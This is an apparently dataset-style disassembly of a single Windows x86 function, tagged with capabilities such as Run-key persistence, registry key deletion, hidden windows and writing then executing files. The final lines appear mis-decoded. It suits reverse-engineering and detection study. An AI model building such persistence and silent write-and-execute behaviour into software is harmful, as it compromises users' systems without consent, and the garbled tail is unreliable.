Function at 0x41426c
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2f
push 0
push 0
dec ecx
jne 0x414274
push ebx
push esi
push edi
mov edi, 0x41aadc
mov esi, 0x41ab14
mov ebx, 0x41ab5b
xor eax, eax
push ebp
push 0x415919
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, 0x415930
call fcn.00403770
cmp byte [0x41ab5c], 0x66
jne 0x4142ff
mov eax, dword [0x41924c]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x415994
mov edx, 0x4159a4
mov eax, 0x80000002
call fcn.004067c8
mov edx, dword [ebp - 4]
mov eax, 0x41aae8
call fcn.00403770
cmp byte [0x41ab59], 0
jne 0x4142ff
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x41aae8]
call fcn.00406668
mov byte [ebx], al
push 0x4159a4
mov ecx, 0x415994
mov eax, 0x80000002
pop edx
call fcn.00406c90
lea eax, [ebp - 8]
call fcn.0040650c
mov edx, dword [ebp - 8]
mov eax, 0x41aad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.00406578
mov edx, dword [ebp - 0xc]
mov eax, edi
call fcn.00403770
mov eax, 0x41aae0
mov ecx, 0x4159ec
mov edx, dword [edi]
call fcn.004038e0
mov eax, esi
mov edx, 0x4159fc
call fcn.00403770
mov eax, dword [0x41aae8]
call fcn.00403894
test eax, eax
jne 0x414377
mov eax, 0x41aae8
mov ecx, 0x415aa4
mov edx, dword [edi]
call fcn.004038e0
mov eax, 0x4191e4
mov ecx, dword [0x4191e4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, esi
mov edx, 0x415ab4
call fcn.00403770
mov eax, 0x41aad0
mov ecx, 0x415ad4
mov edx, dword [0x4191e4]
call fcn.004038e0
mov eax, 0x41aad4
mov ecx, 0x415ae8
mov edx, dword [0x4191e4]
call fcn.004038e0
xor eax, eax
mov dword [0x41ab60], eax
call fcn.00417640
mov eax, esi
mov edx, 0x415afc
call fcn.00403770
cmp byte [0x41ab59], 0
je 0x41463d
mov eax, 0x415bcc
call fcn.00405b98
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.004066e8
mov eax, esi
mov edx, 0x415be4
call fcn.00403770
lea eax, [ebp - 0x10]
mov ecx, 0x415c5c
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a4c
lea eax, [ebp - 0x14]
mov ecx, 0x415c70
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a4c
mov eax, dword [0x41aad0]
call fcn.00405a4c
mov eax, esi
mov edx, 0x415c84
call fcn.00403770
mov ecx, 0x415aa4
mov edx, 0x415cd4
mov eax, 0x80000002
call fcn.00406c90
mov ecx, 0x415aa4
mov edx, 0x415d0c
mov eax, 0x80000002
call fcn.00406c90
mov ecx, 0x415aa4
mov edx, 0x415d4c
mov eax, 0x80000001
call fcn.00406c90
mov edx, 0x415cd4
mov ecx, 0x415d94
mov eax, 0x80000001
call fcn.00406c90
mov edx, 0x415d4c
mov ecx, 0x415da4
mov eax, 0x80000002
call fcn.00406c90
lea eax, [ebp - 0x18]
mov ecx, 0x415db4
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a4c
lea eax, [ebp - 0x1c]
mov ecx, 0x415dc8
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a4c
lea eax, [ebp - 0x20]
mov ecx, 0x415ddc
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a4c
lea eax, [ebp - 0x24]
mov ecx, 0x415df0
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00405a4c
lea eax, [ebp - 0x28]
mov ecx, 0x415e04
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x28]
call fcn.00405a4c
mov eax, esi
mov edx, 0x415e18
call fcn.00403770
lea eax, [ebp - 0x2c]
mov ecx, 0x415e38
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x2c]
call fcn.00405a4c
lea eax, [ebp - 0x30]
mov ecx, 0x415e4c
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x30]
call fcn.00405a4c
push 0x415e58
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x415e84
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x415ecc
call fcn.0041297c
mov eax, esi
mov edx, 0x415ed8
call fcn.00403770
mov eax, 0x415f78
call fcn.0041297c
mov eax, esi
mov edx, 0x415f84
call fcn.00403770
mov eax, 0x415ff4
call fcn.0041297c
mov eax, esi
mov edx, 0x416000
call fcn.00403770
mov eax, dword [0x41aad4]
call fcn.00405a4c
push 0x200040
push 0x4160d0
push 0x4160e8
lea edx, [ebp - 0x38]
mov eax, 0x8b
call fcn.00405350
push dword [ebp - 0x38]
push 0x4160fc
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x34]
call fcn.00403a94
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x415bcc
lea eax, [ebp - 0x3c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x3c]
call fcn.00403a94
push eax
push 0x416114
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405aa4
jmp 0x4158fb
push 0
mov eax, dword [0x4191e4]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x41ab58]
cmp byte [0x41ab58], 0
je 0x414677
call fcn.00405f7c
mov eax, esi
mov edx, 0x416124
call fcn.00403770
mov eax, dword [0x41924c]
push eax
mov edx, 0x4159a4
mov ecx, 0x416140
mov eax, 0x80000002
call fcn.00406714
push eax
call fcn.004055a8
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x4158fb
lea edx, [ebp - 0x40]
mov eax, dword [0x41aae8]
call fcn.004055d8
mov edx, dword [ebp - 0x40]
mov eax, 0x41aaec
call fcn.00403770
call fcn.0040278c
lea edx, [ebp - 0x44]
mov eax, 0x41614c
call fcn.00406030
mov edx, dword [ebp - 0x44]
mov eax, 0x41ab18
call fcn.00403770
mov eax, esi
mov edx, 0x41617c
call fcn.00403770
mov eax, 0x41aae4
mov edx, 0x416204
call fcn.00403770
lea eax, [ebp - 0x4c]
mov ecx, dword [0x41aae4]
mov edx, 0x416220
call fcn.004038e0
mov eax, dword [ebp - 0x4c]
lea edx, [ebp - 0x48]
call fcn.00406030
mov edx, dword [ebp - 0x48]
mov eax, 0x41ab1c
call fcn.00403770
push 1
push 0x96
push 0x222e1
mov ecx, 0x415db4
lea eax, [ebp - 0x50]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415db4
lea eax, [ebp - 0x54]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x54]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x416234
call fcn.00403770
mov eax, dword [0x41924c]
push eax
mov edx, 0x4159a4
mov ecx, 0x416274
mov eax, 0x80000002
call fcn.00406714
mov dword [0x41ab50], eax
cmp dword [0x41ab50], 0x8b
jge 0x41489c
cmp byte [ebx], 0
jne 0x414807
mov ecx, 0x415db4
lea eax, [ebp - 0x58]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x58]
mov eax, dword [0x41aae8]
call fcn.004039e0
je 0x414807
mov eax, 0x415db4
call fcn.00405b98
push 1
push 0x96
push 0x222e1
mov ecx, 0x415db4
lea eax, [ebp - 0x5c]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x5c]
mov cl, 1
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov eax, esi
mov edx, 0x416284
call fcn.00403770
cmp byte [ebx], 0
je 0x41489c
push 0x8b
push 0x416274
mov edx, 0x4159a4
mov eax, 0x80000002
pop ecx
call fcn.0040698c
mov byte [ebx], al
cmp dword [0x41ab50], 0
jle 0x414862
lea edx, [ebp - 0x60]
mov eax, dword [0x41ab50]
call fcn.00405350
mov ecx, dword [ebp - 0x60]
mov eax, 0x41aae4
mov edx, 0x416360
call fcn.004038e0
jmp 0x41486c
mov eax, 0x41aae4
call fcn.0040371c
push 0x416370
lea edx, [ebp - 0x68]
mov eax, 0x8b
call fcn.00405350
push dword [ebp - 0x68]
push dword [0x41aae4]
lea eax, [ebp - 0x64]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x64]
call fcn.004176d4
mov eax, esi
mov edx, 0x416384
call fcn.00403770
call fcn.00407480
push 1
push 0x96
push 0x222e1
mov ecx, 0x415dc8
lea eax, [ebp - 0x6c]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x6c]
xor ecx, ecx
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415dc8
lea eax, [ebp - 0x70]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x70]
call fcn.00406668
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x415ddc
lea eax, [ebp - 0x74]
mov edx, dword [edi]
call fcn.004038e0
mov edx, dword [ebp - 0x74]
xor ecx, ecx
mov eax, dword [0x41aae8]
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415ddc
lea eax, [ebp - 0x78]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x78]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x41643c
call fcn.00403770
mov ecx, 0x415e38
lea eax, [ebp - 0x7c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x7c]
call fcn.00405830
test al, al
jne 0x4149e4
push 1
push 0
push 0x222e1
mov ecx, 0x415e38
lea eax, [ebp - 0x80]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x80]
push eax
mov ecx, 0x415df0
lea eax, [ebp - 0x84]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x84]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x415e4c
lea eax, [ebp - 0x88]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x415e04
lea eax, [ebp - 0x8c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov ecx, 0x415df0
lea eax, [ebp - 0x90]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x90]
call fcn.00405830
test al, al
jne 0x414a91
push 1
push 0
push 0x222e1
mov ecx, 0x415df0
lea eax, [ebp - 0x94]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x94]
push eax
mov ecx, 0x415e38
lea eax, [ebp - 0x98]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x98]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x415e04
lea eax, [ebp - 0x9c]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0x9c]
push eax
mov ecx, 0x415e4c
lea eax, [ebp - 0xa0]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa0]
xor ecx, ecx
pop edx
call fcn.0040579c
mov byte [ebx], al
mov eax, dword [0x41aae8]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415df0
lea eax, [ebp - 0xa4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa4]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415e04
lea eax, [ebp - 0xa8]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xa8]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x4164d4
call fcn.00403770
mov ecx, 0x415e38
lea eax, [ebp - 0xac]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xac]
call fcn.00406668
mov byte [ebx], al
mov ecx, 0x415e4c
lea eax, [ebp - 0xb0]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb0]
call fcn.00406668
mov byte [ebx], al
mov eax, esi
mov edx, 0x4165b0
call fcn.00403770
call fcn.00410d78
mov eax, 0x415ecc
call fcn.00411590
mov eax, esi
mov edx, 0x41661c
call fcn.00403770
mov eax, 0x415f78
call fcn.00411590
mov eax, 0x415ff4
call fcn.00411590
mov eax, esi
mov edx, 0x4166e0
call fcn.00403770
mov eax, 0x41676c
call fcn.00411590
mov eax, esi
mov edx, 0x416778
call fcn.00403770
push 0
push 0
push 0x41ab54
mov ecx, 0x407d44
xor edx, edx
xor eax, eax
call fcn.004036d8
push 0
push 0
push 0x41ab54
mov ecx, fcn.00406e7c
xor edx, edx
xor eax, eax
call fcn.004036d8
mov ecx, 0x415db4
mov eax, 0x41aae4
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [0x41aae4]
mov edx, dword [0x41aae8]
call fcn.004039e0
je 0x414c1d
mov ecx, 0x415dc8
lea eax, [ebp - 0xb4]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb4]
mov edx, dword [0x41aae8]
call fcn.004039e0
je 0x414c1d
mov ecx, 0x415ddc
lea eax, [ebp - 0xb8]
mov edx, dword [edi]
call fcn.004038e0
mov eax, dword [ebp - 0xb8]
mov edx, dword [0x41aae8]
call fcn.004039e0
jne 0x414c29
mov eax, 0x41aae4
call fcn.0040371c
jmp 0x414c3e
mov eax, 0x41aae4
mov ecx, dword [0x41aae8]
mov edx, 0x416844
call fcn.004038e0
mov al, byte [0x41ab5c]
sub al, 0x64
je 0x414c51
dec al
je 0x414c68
dec al
je 0x414c7f
jmp 0x414c94
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x416850
call fcn.004038e0
jmp 0x414c94
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x41685c
call fcn.004038e0
jmp 0x414c94
mov eax, 0x41aae4
mov ecx, dword [0x41aae4]
mov edx, 0x416868
call fcn.004038e0
lea eax, [ebp - 0xbc]
mov ecx, dword [0x41aae4]
mov edx, 0x416878
call fcn.004038e0
mov eax, dword [ebp - 0xbc]
call fcn.004176d4
mov ecx, 0x4159a4
mov eax, 0x41ab74
mov edx, 0x80000002
call fcn.00406ae8
test al, al
jne 0x414cf4
mov ecx, 0x4159a4
mov eax, 0x41ab74
mov edx, 0x80000002
call fcn.00406ae8
test al, al
jne 0x414cf4
mov eax, 0x416888
call fcn.004176d4
jmp 0x4158fb
mov eax, esi
mov edx, 0x4168a0
call fcn.00403770
push dword [edi]
push 0x416944
push 0x416954
mov eax, 0x41ab04
mov edx, 3
call fcn.00403954
mov eax, dword [0x41ab04]
call fcn.00405830
test al, al
jne 0x414d95
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xc0]
mov ecx, 0x416964
imul eax, dword fs:[ecx], 0x99e8178b
jmp 0x414d44
dec dword [ebx - 0xbf7b]